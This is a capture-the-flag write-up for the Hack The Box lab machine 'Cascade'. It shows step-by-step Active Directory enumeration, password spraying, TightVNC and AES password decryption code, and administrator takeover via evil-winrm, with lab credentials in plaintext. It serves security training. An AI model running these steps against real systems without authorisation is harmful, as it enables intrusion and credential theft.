HTB Writeup - Cascade
Breaking In
Starting off with a full TCP port scan:
sudo nmap -sS -sV -sC -O -oN scan_full.log -p- -T5 -Pn -v $target
Our scan results:
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-05 09:10:45Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|7|2008|8.1|Vista (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 (89%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (89%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.009 days (since Fri Jul 5 18:58:26 2024)
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-07-05T09:11:40
|_ start_date: 2024-07-05T08:59:32
|_clock-skew: 41s
We can identify that the machine is very likely to be a Windows machine; it is running a Microsoft DNS product and it has the typical Kerberos and LDAP ports open indicative of a Domain Controller.
Both LDAP ports (389, 3268) leak the domain name of cascade.local
which we will add to our /etc/hosts
file.
No RDP is available but we do have WinRM open so when we get a user account, this is the likely ingress into the box.
The version of Windows is 2008 Server which is very old so there are likely quite a few vulnerabilities if it has not been patched.
Given port 53 and DNS is available and we know the domain, we can use dig
to search for any domain information:
dig any cascade.local @$target
However, this doesn’t reveal any additional information. An attempt at a DNS zone transfer also fails.
An SMB null session allows us to query the password policy using netexec.
netexec smb $target -u '' -p '' --pass-pol
SMB 10.129.28.0 445 CASC-DC1 [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.129.28.0 445 CASC-DC1 [+] cascade.local\:
SMB 10.129.28.0 445 CASC-DC1 [+] Dumping password info for domain: CASCADE
SMB 10.129.28.0 445 CASC-DC1 Minimum password length: 5
SMB 10.129.28.0 445 CASC-DC1 Password history length: None
SMB 10.129.28.0 445 CASC-DC1 Maximum password age: Not Set
SMB 10.129.28.0 445 CASC-DC1
SMB 10.129.28.0 445 CASC-DC1 Password Complexity Flags: 000000
SMB 10.129.28.0 445 CASC-DC1 Domain Refuse Password Change: 0
SMB 10.129.28.0 445 CASC-DC1 Domain Password Store Cleartext: 0
SMB 10.129.28.0 445 CASC-DC1 Domain Password Lockout Admins: 0
SMB 10.129.28.0 445 CASC-DC1 Domain Password No Clear Change: 0
SMB 10.129.28.0 445 CASC-DC1 Domain Password No Anon Change: 0
SMB 10.129.28.0 445 CASC-DC1 Domain Password Complex: 0
SMB 10.129.28.0 445 CASC-DC1
SMB 10.129.28.0 445 CASC-DC1 Minimum password age: None
SMB 10.129.28.0 445 CASC-DC1 Reset Account Lockout Counter: 30 minutes
SMB 10.129.28.0 445 CASC-DC1 Locked Account Duration: 30 minutes
SMB 10.129.28.0 445 CASC-DC1 Account Lockout Threshold: None
SMB 10.129.28.0 445 CASC-DC1 Forced Log off Time: Not Set
Given that a Null session is pssoible, we can also try a rid-brute with netexec
.
netexec smb $target -u '' -p '' --rid-brute
This is successful and we get a user list.
SMB 10.129.28.0 445 CASC-DC1 [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.129.28.0 445 CASC-DC1 [+] cascade.local\:
SMB 10.129.28.0 445 CASC-DC1 498: CASCADE\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.28.0 445 CASC-DC1 500: CASCADE\administrator (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 501: CASCADE\CascGuest (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 502: CASCADE\krbtgt (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 512: CASCADE\Domain Admins (SidTypeGroup)
SMB 10.129.28.0 445 CASC-DC1 513: CASCADE\Domain Users (SidTypeGroup)
SMB 10.129.28.0 445 CASC-DC1 514: CASCADE\Domain Guests (SidTypeGroup)
SMB 10.129.28.0 445 CASC-DC1 515: CASCADE\Domain Computers (SidTypeGroup)
SMB 10.129.28.0 445 CASC-DC1 516: CASCADE\Domain Controllers (SidTypeGroup)
SMB 10.129.28.0 445 CASC-DC1 517: CASCADE\Cert Publishers (SidTypeAlias)
SMB 10.129.28.0 445 CASC-DC1 518: CASCADE\Schema Admins (SidTypeGroup)
SMB 10.129.28.0 445 CASC-DC1 519: CASCADE\Enterprise Admins (SidTypeGroup)
SMB 10.129.28.0 445 CASC-DC1 520: CASCADE\Group Policy Creator Owners (SidTypeGroup)
SMB 10.129.28.0 445 CASC-DC1 521: CASCADE\Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.28.0 445 CASC-DC1 553: CASCADE\RAS and IAS Servers (SidTypeAlias)
SMB 10.129.28.0 445 CASC-DC1 571: CASCADE\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.129.28.0 445 CASC-DC1 572: CASCADE\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.129.28.0 445 CASC-DC1 1001: CASCADE\CASC-DC1$ (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 1102: CASCADE\DnsAdmins (SidTypeAlias)
SMB 10.129.28.0 445 CASC-DC1 1103: CASCADE\DnsUpdateProxy (SidTypeGroup)
SMB 10.129.28.0 445 CASC-DC1 1106: CASCADE\arksvc (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 1107: CASCADE\s.smith (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 1109: CASCADE\r.thompson (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 1111: CASCADE\util (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 1113: CASCADE\IT (SidTypeAlias)
SMB 10.129.28.0 445 CASC-DC1 1114: CASCADE\Production (SidTypeAlias)
SMB 10.129.28.0 445 CASC-DC1 1115: CASCADE\HR (SidTypeAlias)
SMB 10.129.28.0 445 CASC-DC1 1116: CASCADE\j.wakefield (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 1119: CASCADE\AD Recycle Bin (SidTypeAlias)
SMB 10.129.28.0 445 CASC-DC1 1120: CASCADE\Backup (SidTypeAlias)
SMB 10.129.28.0 445 CASC-DC1 1121: CASCADE\s.hickson (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 1122: CASCADE\j.goodhand (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 1123: CASCADE\Temps (SidTypeAlias)
SMB 10.129.28.0 445 CASC-DC1 1124: CASCADE\a.turnbull (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 1125: CASCADE\WinRMRemoteWMIUsers__ (SidTypeAlias)
SMB 10.129.28.0 445 CASC-DC1 1126: CASCADE\Remote Management Users (SidTypeAlias)
SMB 10.129.28.0 445 CASC-DC1 1127: CASCADE\e.crowe (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 1128: CASCADE\b.hanson (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 1129: CASCADE\d.burman (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 1130: CASCADE\BackupSvc (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 1132: CASCADE\Factory (SidTypeAlias)
SMB 10.129.28.0 445 CASC-DC1 1133: CASCADE\Finance (SidTypeAlias)
SMB 10.129.28.0 445 CASC-DC1 1134: CASCADE\j.allen (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 1135: CASCADE\i.croft (SidTypeUser)
SMB 10.129.28.0 445 CASC-DC1 1137: CASCADE\Audit Share (SidTypeAlias)
SMB 10.129.28.0 445 CASC-DC1 1138: CASCADE\Data Share (SidTypeAlias)
We can also get a list of users using rpcinfo
.
rpcclient -U '' $target -N
rpclient $> querydispinfo
We still don’t have creds so there isn’t much we can do with the user list. However, it seems like some services are allowing access without credentials. Given we know the domain cascade.local
, we can try an ldap search against that without credentialed access and see if it can work:
ldapsearch -x -H ldap://cascade.local -D '' -w '' -b "DC=cascade,DC=local"
This works! It dumps a huge amount of information but at least we have something to work with.
There are many ways to go through this dump if you are more familiar with AD. My first naive pass was to use grep on things I might be interested in such as users and passwords if there were any and I got lucky. This grep
command slowly formed:
cat ldap.log | grep -i "pass|pwd" | grep -iv "pwdLastSet|badPwdCount|badPasswordTime|PwdAge|pwdProperties|pwdHistoryLength|pwdLength"
One of the entries in this short list seems to be password: clk0bjVldmE=
. Although, on closer inspection, it’s more likely a base64 encoded password. We echo "clk0bjVldmE=" | base64 -d
to get rY4n5eva
To find out who this belongs to is now trivial since we know there is no account lockout policy and we have a list of users. So we can use netexec
again to spray this possible password against users. Although, it’s probably Ryan’s.
netexec smb $target -u users.lst -p 'rY4n5eva'
And we get a positive hit for r.thompson
:
SMB 10.129.28.0 445 CASC-DC1 [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.129.28.0 445 CASC-DC1 [-] cascade.local\SMB:rY4n5eva STATUS_LOGON_FAILURE
SMB 10.129.28.0 445 CASC-DC1 [-] cascade.local\SMB:rY4n5eva STATUS_LOGON_FAILURE
SMB 10.129.28.0 445 CASC-DC1 [-] cascade.local\Enterprise:rY4n5eva STATUS_LOGON_FAILURE
SMB 10.129.28.0 445 CASC-DC1 [-] cascade.local\administrator:rY4n5eva STATUS_LOGON_FAILURE
SMB 10.129.28.0 445 CASC-DC1 [-] cascade.local\CascGuest:rY4n5eva STATUS_LOGON_FAILURE
SMB 10.129.28.0 445 CASC-DC1 [-] cascade.local\krbtgt:rY4n5eva STATUS_LOGON_FAILURE
SMB 10.129.28.0 445 CASC-DC1 [-] cascade.local\Domain:rY4n5eva STATUS_LOGON_FAILURE
SMB 10.129.28.0 445 CASC-DC1 [-] cascade.local\arksvc:rY4n5eva STATUS_LOGON_FAILURE
SMB 10.129.28.0 445 CASC-DC1 [-] cascade.local\s.smith:rY4n5eva STATUS_LOGON_FAILURE
SMB 10.129.28.0 445 CASC-DC1 [+] cascade.local\r.thompson:rY4n5eva
However, we don’t have the ability to log in via SMB or WinRM. So let’s check what shares the user has access to:
netexec smb $target -u 'r.thompson' -p 'rY4n5eva' --shares
SMB 10.129.28.0 445 CASC-DC1 [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.129.28.0 445 CASC-DC1 [+] cascade.local\r.thompson:rY4n5eva
SMB 10.129.28.0 445 CASC-DC1 [*] Enumerated shares
SMB 10.129.28.0 445 CASC-DC1 Share Permissions Remark
SMB 10.129.28.0 445 CASC-DC1 ----- ----------- ------
SMB 10.129.28.0 445 CASC-DC1 ADMIN$ Remote Admin
SMB 10.129.28.0 445 CASC-DC1 Audit$
SMB 10.129.28.0 445 CASC-DC1 C$ Default share
SMB 10.129.28.0 445 CASC-DC1 Data READ
SMB 10.129.28.0 445 CASC-DC1 IPC$ Remote IPC
SMB 10.129.28.0 445 CASC-DC1 NETLOGON READ Logon server share
SMB 10.129.28.0 445 CASC-DC1 print$ READ Printer Drivers
SMB 10.129.28.0 445 CASC-DC1 SYSVOL READ Logon server share
We have access to the non-standard share called “Data” as the r.thompson
user. We can use netexec
with the spider_plus
module to crawl the shares and return a listing of the files it finds.
netexec smb $target -u 'r.thompson' -p 'rY4n5eva' --shares -M spider_plus
This produces a json output, let’s call it spider.log
. We can parse this log for the bits we might care about which is filename
and the share that it is in using jq
cat spider.log | jq '. | keys[] as $share | .[$share] | $share + ": " + keys[]'
Data: IT/Email Archives/Meeting_Notes_June_2018.html
Data: IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log
Data: IT/Logs/DCs/dcdiag.log
Data: IT/Temp/s.smith/VNC Install.reg
NETLOGON: MapAuditDrive.vbs
NETLOGON: MapDataDrive.vbs
SYSVOL: cascade.local/Policies/{2906D621-7B58-40F1-AA47-4ED2AEF29484}/GPT.INI
SYSVOL: cascade.local/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI
SYSVOL: cascade.local/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf
SYSVOL: cascade.local/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol
SYSVOL: cascade.local/Policies/{322FEA29-156D-4476-8A06-1935A3525C1C}/GPO.cmt
SYSVOL: cascade.local/Policies/{322FEA29-156D-4476-8A06-1935A3525C1C}/GPT.INI
SYSVOL: cascade.local/Policies/{322FEA29-156D-4476-8A06-1935A3525C1C}/User/Scripts/scripts.ini
SYSVOL: cascade.local/Policies/{4026EDF8-DBDA-4AED-8266-5A04B80D9327}/GPT.INI
SYSVOL: cascade.local/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI
SYSVOL: cascade.local/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf
SYSVOL: cascade.local/Policies/{820E48A7-D083-4C2D-B5F8-B24462924714}/GPT.INI
SYSVOL: cascade.local/Policies/{D67C2AD5-44C7-4468-BA4C-199E75B2F295}/GPT.INI
SYSVOL: cascade.local/scripts/MapAuditDrive.vbs
SYSVOL: cascade.local/scripts/MapDataDrive.vbs
Due to the frequency of performing this same step when spidering a target, I wrap this up in a zsh
function called parse-spider
:
function parse-spider() {
if [ -z $1 ]; then
echo "Expected IP address"
echo "Usage: parse-spider 10.10.10.10"
return
fi
cat /tmp/nxc_spider_plus/$1.json | jq '. | keys[] as $share | .[$share] | $share + ": " + keys[]' | tr -d "\""
}
Easy enough to go and grab this file using smbclient
:
smbclient //$target/Data -U 'cascade.local/r.thompson'
Looking at the meeting notes in the IT email archives reveals a username and bit of information regarding it’s password:
Username is TempAdmin (password is the same as the normal admin account password)
Typically, temporary accounts are rarily as temporary as they should be and they are given privileges they shouldn’t have.
Another interesting file is the VNC Install.reg
in a file related to s.smith
, the one who wrote the email. This file contains an interesting line with "Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
. It’s possible to reverse this with xxd -r -p
but it doesn’t look like a real password. Looking at https://book.hacktricks.xyz/network-services-pentesting/pentesting-vnc#decrypting-vnc-password reveals that reversing the VNC password is entirely possible. Doing some further digging reveals that the encryption key is quite well known now for older versions of tight VNC. Looking at this GitHub, https://github.com/billchaison/VNCDecrypt, reveals a simple bash method for reversing the password:
echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv
This seems like something I’d reuse again, so once more, I create a script to do this that I stick inside the .zshrc
:
function decrypt-vnc-password() {
if [ -z $1 ]; then
echo "Expected hex of stored VNC password"
echo "Usage: decrypt-vnc-password 6bcf2a4b6e5aca0f"
return
fi
echo -n $1 | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv
}
Running decrypt-vnc-password 6bcf2a4b6e5aca0f
gives us the password sT333ve2
Since the password was found in the directory titled s.smith
, I assume it belongs to him so we can now test access to the target using SMB and WinRM. SMB fails but the password definitely belongs to steve. WinRM is successful according to netexec
.
netexec winrm $target -u 's.smith' -p 'sT333ve2'
We can then use evil-winrm to access the target:
evil-winrm -i $target -u 's.smith' -p 'sT333ve2'
Running typical recon once in the box using whoami /groups
reveals a few groups that s.smith
is a part of.
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
CASCADE\Data Share Alias S-1-5-21-3332504370-1206983947-1165150453-1138 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\Audit Share Alias S-1-5-21-3332504370-1206983947-1165150453-1137 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\IT Alias S-1-5-21-3332504370-1206983947-1165150453-1113 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\Remote Management Users Alias S-1-5-21-3332504370-1206983947-1165150453-1126 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-844
One of the script names from crawling the share mentions mapping an Audit drive but it was able to be accessed externally. We are also forbidden from going to C:\Shares
.
*Evil-WinRM* PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/9/2020 8:14 PM inetpub
d----- 7/14/2009 4:20 AM PerfLogs
d-r--- 1/28/2020 7:27 PM Program Files
d-r--- 2/4/2021 4:24 PM Program Files (x86)
d----- 1/15/2020 9:38 PM Shares
d-r--- 1/28/2020 11:37 PM Users
d----- 2/4/2021 4:32 PM Windows
*Evil-WinRM* PS C:\> cd Shares
*Evil-WinRM* PS C:\Shares> dir
Access to the path 'C:\Shares' is denied.
At line:1 char:1
+ dir
+ ~~~
+ CategoryInfo : PermissionDenied: (C:\Shares:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
However, we are a part of the group that suggests we should have access to the ‘Audit’ share specifically. Maybe we can hop past the forbidden directory…
*Evil-WinRM* PS C:\Shares> dir
Access to the path 'C:\Shares' is denied.
At line:1 char:1
+ dir
+ ~~~
+ CategoryInfo : PermissionDenied: (C:\Shares:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
*Evil-WinRM* PS C:\Shares> cd Audit
*Evil-WinRM* PS C:\Shares\Audit> dir
Directory: C:\Shares\Audit
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/28/2020 9:40 PM DB
d----- 1/26/2020 10:25 PM x64
d----- 1/26/2020 10:25 PM x86
-a---- 1/28/2020 9:46 PM 13312 CascAudit.exe
-a---- 1/29/2020 6:00 PM 12288 CascCrypto.dll
-a---- 1/28/2020 11:29 PM 45 RunAudit.bat
-a---- 10/27/2019 6:38 AM 363520 System.Data.SQLite.dll
-a---- 10/27/2019 6:38 AM 186880 System.Data.SQLite.EF6.dll
It is not uncommon to see folder permissions like this. If you suspect you have access to a subdirectory, you should attempt to get into it directly if you know it’s name.
The next part of my process is to copy over the sqlite DB to the attack machine using smbserver.py
from impacket
and the copy
command in Windows so I can inspect the DB locally.
Running sqlite3 against the Audit.db
shows 3 tables, but the most interesting one is Ldap
:
sqlite3 Audit.db
sqlite> select * from Ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
From other enumeration, both locally and externally, we know the ArkSvc account is a real account and this is likely a password. This base64 encoded ‘password’ looks like gibberish so it’s likely further encrypted. The sqlite DB was related to the application in the Audit directory so that probably holds the key (no pun intended) for this issue. I copied them over to my attack machine using the same smbserver strategy.
One of the only reasons I have the super shitty VS Code installed on my machine is for a plugin called ilspy
. It’s useful for interogating dotnet assemblies and binaries without needing a Windows OS. I don’t like loading a whole Windows VM if I can do it on Linux. This awesome plugin can be found here, https://marketplace.visualstudio.com/items?itemName=icsharpcode.ilspy-vscode
In the CascCrypto.dll, there is a Crypto
class that contains the information needed to decrypt/encrypt strings. I wrote a program to decrypt this base64 encoded password.
Firstly, I didn’t want to install dotnet on my machine because it is massive bloat with every version filling up more space and lowering my will to live. Docker to the rescue:
sudo docker run --rm -it -v $(pwd):/dev/shm mcr.microsoft.com/dotnet/sdk:latest /bin/bash
Docker neatly isolates the dotnet poop from my host machine. Inside the docker container, I can now navigate to the /dev/shm
directory and initialize a new dotnet console project using dotnet new console
.
This creates a Program.cs
file which I then filled with:
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
public class Program
{
public static void Main(string[] args) {
Console.WriteLine(DecryptString("BQO5l5Kj9MdErXx6Q6AGOw==", "c4scadek3y654321"));
}
public const string DefaultIV = "1tdyjCbY1Ix49842";
public const int Keysize = 128;
public static string EncryptString(string Plaintext, string Key)
{
byte[] bytes = Encoding.UTF8.GetBytes(Plaintext);
Aes aes = Aes.Create();
aes.BlockSize = 128;
aes.KeySize = 128;
aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
aes.Key = Encoding.UTF8.GetBytes(Key);
aes.Mode = CipherMode.CBC;
using MemoryStream memoryStream = new MemoryStream();
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateEncryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(bytes, 0, bytes.Length);
cryptoStream.FlushFinalBlock();
}
return Convert.ToBase64String(memoryStream.ToArray());
}
public static string DecryptString(string EncryptedString, string Key)
{
byte[] array = Convert.FromBase64String(EncryptedString);
Aes aes = Aes.Create();
aes.KeySize = 128;
aes.BlockSize = 128;
aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
aes.Mode = CipherMode.CBC;
aes.Key = Encoding.UTF8.GetBytes(Key);
using MemoryStream stream = new MemoryStream(array);
using CryptoStream cryptoStream = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Read);
byte[] array2 = new byte[checked(array.Length - 1 + 1)];
cryptoStream.Read(array2, 0, array2.Length);
return Encoding.UTF8.GetString(array2);
}
}
Note: the decryption key for this is found in the binary also using ilspy
.
Running this from the docker container prints w3lc0meFr31nd
to the console.
We can now log into the target as the ArkSvc
account using the password w3lc0meFr31nd
:
evil-winrm -i $target -u 'ArkSvc' -p 'w3lc0meFr31nd'
Running whoami /groups
as the ArkSvc account shows that we are a member of the AD Recycle
group. This allows us the privilege to read deleted entries from AD.
We know from the email we read from the share, that there is/was a TempAdmin
account that existed at some point in time. With the ability to read deleted AD entries, we can see this entity, or at least try to:
Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *
We can see it also has that legacyCascadePwd
property set! And we already know it is a base64 encoded password so it’s trivial to decrypt:
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
This gives us the password of baCT3r1aN00dles
and presumably, given the info in the aforementioned email, this is likely the password of the existing Administrator.
We try to log in again using the Administrator
account and this password and we see success!
evil-winrm -i $target -u 'Administrator' -p 'baCT3r1aN00dles'
Learnings
- Always look at non-standard or unexpected properties on resources in LDAP. It can be a quick win, especially in this case where there is a plaintext password available.
- Always look for hidden shares (names appended by a $) during enumeration. You might not be able to access it immediately, but you should be able to indentify it for later.